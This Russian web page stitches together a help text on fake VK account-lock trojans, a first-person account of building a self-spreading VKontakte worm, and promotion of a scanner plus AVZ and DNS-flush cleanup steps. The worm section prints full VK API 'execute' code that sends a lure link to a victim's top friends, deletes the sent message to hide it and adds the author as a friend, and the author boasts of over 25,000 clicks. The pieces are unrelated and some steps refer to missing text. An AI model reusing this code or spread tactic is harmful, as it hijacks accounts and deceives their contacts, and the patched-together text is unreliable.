Суть проблемы
Скорее всего, на Вашем ПК завёлся «троян», цель которого выманить побольше денег у наивных юзеров. Вот так может выглядеть псевдо-страница блокировки:
Знакомая ситуация?
Сразу же отмечу, что никаких СМС отправлять не нужно. Решение проблемы совершенно бесплатное. Скоро Вы в этом сами убедитесь.
Вирус для Вконтакте
В очередной день я сидел перед компьютером и не знал, чем заняться. Прокручивая свою ленту уже вернулся ко вчерашним постам, которые уже видел. Перейдя на свою страницу подумал про себя: «Боже, всего 160 подписчиков. Как же это мало…». И сразу же возник вопрос «А как их увеличить?». Ясное дело, что каждому на ум придет накрутка. Но для этого требовалось либо деньги, либо проводить много времени, подписываясь, делая репосты или лайкая всё, что угодно — это не было выходом.
Позже, перед сном, ко мне забралась идея, как это сделать. Идея заключалась в вирусной ссылке, которую получат почти все пользователи сети. Проснувшись утром и попив кофе, я начал реализовывать эту идею. Для многих уже давно не секрет, что для выполнения запросов от имени пользователя в VK API, нужно иметь его access_token. Но! На самом сайте этого ключа не требуется, чтобы просто протестировать. Перед началом создания этого Супер вируса, я хотел просто проверить его работоспособность.
Для теста и использовал метод friends.add и в поле user_id прописал свой id. Выполнив это действие, адресная строка изменится, на что-то вроде этого:
Адресная строка
https://vk.com/dev/friends.add?params[user_id]=id Эту ссылку я сократил через vk.cc и оставил в комментариях к двум популярным группам с заманчивым описанием. Через полчаса у меня уже было 100 подписчиков (было бы больше, но мой комментарий удалили, а меня забанили). После этого, я стал уверен, что это сработает и приступил к его созданию.
Вконтакте ограничивает доступ к API от одного IP интервалом в 5 секунд, чтобы сервер не перегружался. И для решения проблемы с частыми запросами они создали метод execute. Этот метод позволяет вызывать несколько методов одновременно с сохранением алгоритма, чем я и воспользовался.
Этот вирус в основном опирается на доверчивость людей, двумя словами — «социальная инженерия». Каждый из нас наверняка перейдет по ссылке в сообщении от своего друга — именно этим я и хотел поработить мир воспользоватся.
На создание вируса у меня ушли примерно сутки, так как встретил пару преград. Об этом чуть позже. Вирус должен был работать так:
- Пользователь перешел по ссылке
- Метод получает список всех друзей и сортирует их по рейтингу
- Отправляет сообщение с текстом «Смотри /* ссылка */ »
- Сообщение удаляется у отправителя
- Добавляет в друзья и/или подписывается в указанные группы
- Друзья, которые получили сообщение переходят по ссылке
- Начинаем с начала
И собственно так выглядит этот код в методе: var a = API.friends.get({ // Метод для получения списка всех друзей «order»: «hints» // Параметр для сортировки по рейтингу }).items; // Получить только список var b = 0; // Переменная для цикла var d = 0; // Переменная для id сообщения while ( a ){ d = API.messages.send({ // Метод отправки сообщения. Возвращает id сообщения «user_id»: a, // получатель «message»: «Смотри /* ссылка */ » // текст сообщения }); API.messages.delete({ // Удалить сообщение по его id «message_ids»: d }); b = b + 1; // Увеличить b на 1 (++b или b++ не работает) } API.friends.add({ «user_id»: «мой id» }); Получив ссылку, я радостно пошел протестировать на своем фейковом профиле. Но не тут-то было. Перейдя по ссылке, мне выдало ошибку 12: Синтаксическая ошибка. Не ожидалось символа &. Здесь и начались мои преграды.
Как оказалось, сервер для защиты от XML переводит все знаки. И знак двойных кавычек » просто переводился в & quotes; а консоль выдавала ошибку. Одинарные кавычки не переводятся, но их он не примет, так как синтаксис от JSON.
Так как это моя первая попытка работы с уязвимостью (как и этот пост) на это у меня ушло чуть дольше времени. Первые пять часов ушли на то, чтобы понять, что ключи можно передавать и без кавычек, и цифры писать в кавычках тоже не обязательно. Т.е. можно так:
API.friends.add({ user_id: 1234567 }); Хорошо, половина проблемы была решена. Осталась лишь одна проблема: мне нужно было придумать, как передать текст сообщения и слово «hints» для сортировки.
Для справки! Почему передавать параметр hints было обязательно?
Дело в том, что даже на странице теста метода, при подозрительном запросе (например отправка от 3 или 7 сообщении), требуется ввести капчу. Не факт, что сообщение будет отправлено нужному человеку. Поэтому передача этого параметра отсортирует список так, что первые трое из списка с большей вероятностью в 90% перейдут по ссылке.
Для решения последней проблемы я подумал использовать регулярные выражения или что-то вроде, для замены числа 0 в строку. Сам я только начинающий web разработчик и не знал, как это делать, и задал вопрос на тостере. Получив два нужных мне ответа с разными путями решений, сразу же решил использовать их. И тут снова проблема…
ВКонтакте API — это не JavaScript и не поддерживает его функции вроде replace() или toString(). Да и вообще ничего не поддерживает из JS, кроме var, return, while, if, else, массивов и операторов сравнения.
Я снова оказался в тупиковом положении и не знал, что мне делать. Я рассказал об этом своим знакомым программистам с просьбой помочь. Со словами «Это просто гениально, чувак!» они решили мне помочь и пошли копаться в документации к API
Ушло очень много времени, пока я думал, как мне решить эту проблему. Стало поздно и я пошел спать. Перед сном, меня опять озарила грандиозная идея с решением этой проблемы.
Снова утро. Попив свою дозу утреннего кофе первым делом я приступил к продолжению своего вируса. Решение было довольно простым. Ведь передавая числа или переменные из методов, необязательно писать их в кавычках.
Для меня понадобился мой фейковый профиль. Там я сделал два разных поста с такими текстами:
- Смотри /* ссылка */
- hints
Всё, что мне требовалось, это получить эти записи и записать в переменные, что я и сделал. В итоге у меня получился такой код: var b = 0; // Переменная для цикла var d = 0; // Переменная для id сообщения var m = API.wall.get({ owner_id: id, // id фейковой страницы count: 1 // вернуть всего 1 пост }).items[0].text; // получить только текст статьи var h = API.wall.get({ owner_id: id, // id фейковой страницы count: 1, // вернуть всего 1 пост offset: 1 // сместить посты на 1 }).items[0].text; // получить только текст статьи var a = API.friends.get({ // Метод для получения списка всех друзей order: h // Параметр для сортировки по рейтингу }).items; // Получить только список while ( a ){ d = API.messages.send({ // Метод отправки сообщения. Возвращает id сообщения user_id: a, // получатель message: m // текст сообщения }); API.messages.delete({ // Удалить сообщение по его id message_ids: d }); b = b + 1; // Увеличить b на 1 (++b или b++ не работает) } API.friends.add({ «user_id»: «мой id» }); Получив ссылку, я проверил его на работоспособность и — ура! Всё работало так, как нужно. С фейковой страницы был отправлен запрос на добавление в друзья и успешно переданы сообщения первым 7 друзьям из рейтинга. Сжав ссылку и поставив его на первый пост, я с довольной улыбкой готовился к Большому Буму!
Чтобы еще и знать, сколько людей перешло по ссылке, я сжал ссылку к php файлу на моем хостинге, который записывал посещение в БД, и переадресовывал к методу с кодом.
Для интриги я не стал обновлять страницу каждый раз, а просто вышел из ВК сразу, после одного коммента. Вернулся примерно через час и, посмотрев на количество записей в БД, ощутил прилив счастья. Радости не было предела! Более 5000 переходов. «И этого всего за час! А что же будет через два?» — задавался себе вопросом. Ведь это был мой первый опыт в хакинге.
Решив посмотреть сколько все же набралось лично на странице, я зашел на сайт и вижу целых 3 новых подписчика! Не сказать, что я не был удивлен. Я ничего не понимал… В базе было более 5000 строк, где почти все имели индивидуальный IP, а подписчиков всего 3. Я начал думать, что я на самом деле не такой умный, кое себя считал 2 минут назад, и что от таких махинации у ВК уже есть защита. С такими мыслями я ушел грустить.
Прошло уже 2 дня. Перед тем, как идти спать, я решил проверить свой сайт. Заглянув в базу данных, и ради интереса посмотрел таблицу для записи статистики. Там уже набралось более 25 000 посещении по вирусной ссылке, а подписчиков стало меньше, т.к. отписались еще и те, которые для меня были тестом еще в начале.
Снова перед сном, я наконец понял, почему не было новых подписчиков, а количество переходов росло (кто-нибудь, напишите пост, почему именно перед сном приходят решения? Иначе я сам напишу). Все дело было в коде. Метод execute выполняет код сохраняя алгоритм, а метод добавления в друзья был в самом конце. Он не срабатывал потому, что дальнейшие методы не выполнялись до тех пор, пока не будет введена капча. Т.к. у всех моих «жертв» было больше 8 друзей, естественно срабатывала капча, а пользователи заподозрив что-то, просто закрывали вкладку. Запись сохранялась, сообщения передавались, а рабов подписчиков не становилось больше.
Сразу скакнув из кровати, я решил исправить это быстро, чтобы к утру было уже более десяток тысяч подписчиков. После внесении изменении в php файле переадресации, я ушел спать с довольными мыслями завтрашнем дне.
Наступает утро и я проверяю свой профиль, даже не попив свой кофе. Ура! Подписчиков стало меньше… Я снова был крайне удивлен. Всё же должно работать. На сей раз я решил проверить работоспособность ссылки на настоящем профиле. Удалив код, удаления сообщения, я перешел по сгенерированной ссылке. Оказывается эту уязвимость разработчики уже закрыли. Код в адресные строке по переходу уже не срабатывал
Я не знаю, как они сами до этого догадались. Я тут гений! То ли и до них дошло сообщение, то ли один из знакомых программистов втайне рассказал об уязвимости, чтобы там ни было я об этом никогда не узнаю.
Я всё равно был рад, так как я впервые смог найти уязвимость в большой сети. Может другим это обычное дело, но для меня это было чем-то особенным.
Антивирус Вконтакте (Сканер Cezurity)
Облачный сервис для проверки и лечения компьютера. Антивирусный Сканер Cezurity бесплатно проверит ваш компьютер на наличие вредоносных программ — вирусов, троянов, шпионских приложений, руткитов (скрытых программ). В случае заражения антивирусный сканер вылечит Ваш компьютер.
- Быстрая проверка займет всего несколько минут.
- Сканер поможет обнаружить и нейтрализовать угрозы, пропущенные другими антивирусами.
- Совместим с другими установленными антивирусами.
- Просто и быстро устанавливается, не требует постоянных обновлений антивирусных баз.
Выглядит меню скачки, как запуск обычного приложения в соц.сети:
После нажатия на кнопку «Установить сканер» вы должны увидеть окно, в котором предложат варианты установки. Где в первом случае устанавливается программа с рекомендованными настройками, а во втором случае можно отключить ненужные вам действия. Сделали свой выбор и нажали кнопку «принять и установить»
Теперь видим перед собой предложение сохранить файл
После сохранения запускаем файлик и начинается установка «антивируса Вконтакте»
И вот в конце перед вами открывается главное меню программы
Данное приложение не является основной защитой вашего компьютера от вирусов – это лишь профессиональный инструмент для защиты страницы в вк. Еще раз повторяю, не является общим антивирусом для всей системы.
Дополнительная разблокировка аккаунта ВК
Если уж никак не идет и ты (Вы) заблокирован вконтакте по-прежнему, то попробуем действовать масштабней, а именно:
- Запускаем AVZ (если у Вас его нет, то Вы видимо не читали все описанное выше). Распаковываем архив с ней куда-нибудь, куда Вам удобно;
- Запускаем avz.exe в папке куда распаковали;
- В окне программы “Файл” – “Восстановление системы”. В появившимся окне выделите галочками 6, 8, 9, 13, 14, 15 и 20, 21 пункты (20 и 21 в старой версии AVZ может не быть, – тогда без них). Далее нажмите “Выполнить отмеченные операции”;
- После выполнения закройте AVZ, пока НЕ запускайте интернет;
- Далее делаем: Пуск – выполнить – cmd – ок. В появившейся консоли напишите: ipconfig /flushdns
- Нажмите enter. Затем введите: route -f
- Нажмите enter
Перезагрузите компьютер, подключите интернет, попробуйте зайти. Если не помогло, то воспользуйтесь статьями вот: «Очистка реестра, временных файлов и “следов” после удаления программ » и вот: «Как быстро удалить вирусы. Часть 5 «